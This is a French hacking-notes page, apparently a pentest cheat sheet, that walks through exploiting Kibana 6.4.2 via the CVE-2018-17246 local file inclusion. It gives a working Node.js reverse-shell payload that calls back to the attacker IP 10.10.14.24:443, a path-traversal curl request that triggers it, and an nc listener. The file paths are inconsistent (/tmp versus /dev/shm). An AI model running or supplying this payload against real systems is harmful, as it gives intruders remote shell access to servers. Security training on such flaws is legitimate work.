> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/cms/kibana-cms-exploitation.md).

# Kibana

Notes d’exploitation de Kibana pour la LFI CVE-2018-17246, la découverte de version via api/status, l’exécution d’une charge utile Node.js et la livraison d’un shell inversé.

### Exploitation de Kibana (CVE-2018-17246)

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-659f17643a67378ea84165f840fb03c58c57bbb3%2Fimage%20(1196).png?alt=media" alt=""><figcaption></figcaption></figure>

**Vérification de la version de Kibana**

En accédant à `http://localhost:5601/api/status` révèle la version de Kibana **6.4.2**. Cette version est vulnérable à **Inclusion de fichier local (LFI)** via **CVE-2018-17246**.

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-713508fea4c266675af9a04b46f3b254116a2f53%2Fimage%20(1197).png?alt=media" alt=""><figcaption></figcaption></figure>

{% embed url="<https://github.com/mpgn/CVE-2018-17246>" %}

**Exploitation de la vulnérabilité**

Pour exploiter la vulnérabilité, créez un fichier JavaScript qui ouvre un shell inversé. Sur la cible, créez `/tmp/rev.js` avec le code suivant :

<pre class="language-javascript"><code class="lang-javascript"><strong>function(){
</strong>    var net = require("net"),
        cp = require("child_process"),
        sh = cp.spawn("/bin/sh", []);
    var client = new net.Socket();
    client.connect(443, "10.10.14.24", function(){
        client.pipe(sh.stdin);
        sh.stdout.pipe(client);
        sh.stderr.pipe(client);
    });
    return /a/; // Empêche l'application Node.js de planter
})();
</code></pre>

Ce script se connecte à la machine de l’attaquant sur le port **443** et ouvre un shell.

**Redirection du flux vers le fichier**

Puis redirigez le flux vers `/dev/shm/rev.js` avec la commande suivante :

```bash
curl -s -X GET "http://localhost:5601/api/console/api_server?sense_version=@@SENSE_VERSION&apis=../../../../../../.../../../../dev/shm/rev.js"
```

**Écoute du shell inversé**

Sur la machine de l’attaquant, démarrez un écouteur sur le port **443** pour récupérer le shell inversé :

```bash
nc -nlvp 443
```

Une fois connecté, vous avez un shell sur la cible et pouvez poursuivre l'élévation de privilèges.

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-2ac64b6e916dab5303c712cc4eb5e66598d95d46%2Fimage%20(1198).png?alt=media" alt=""><figcaption></figcaption></figure>


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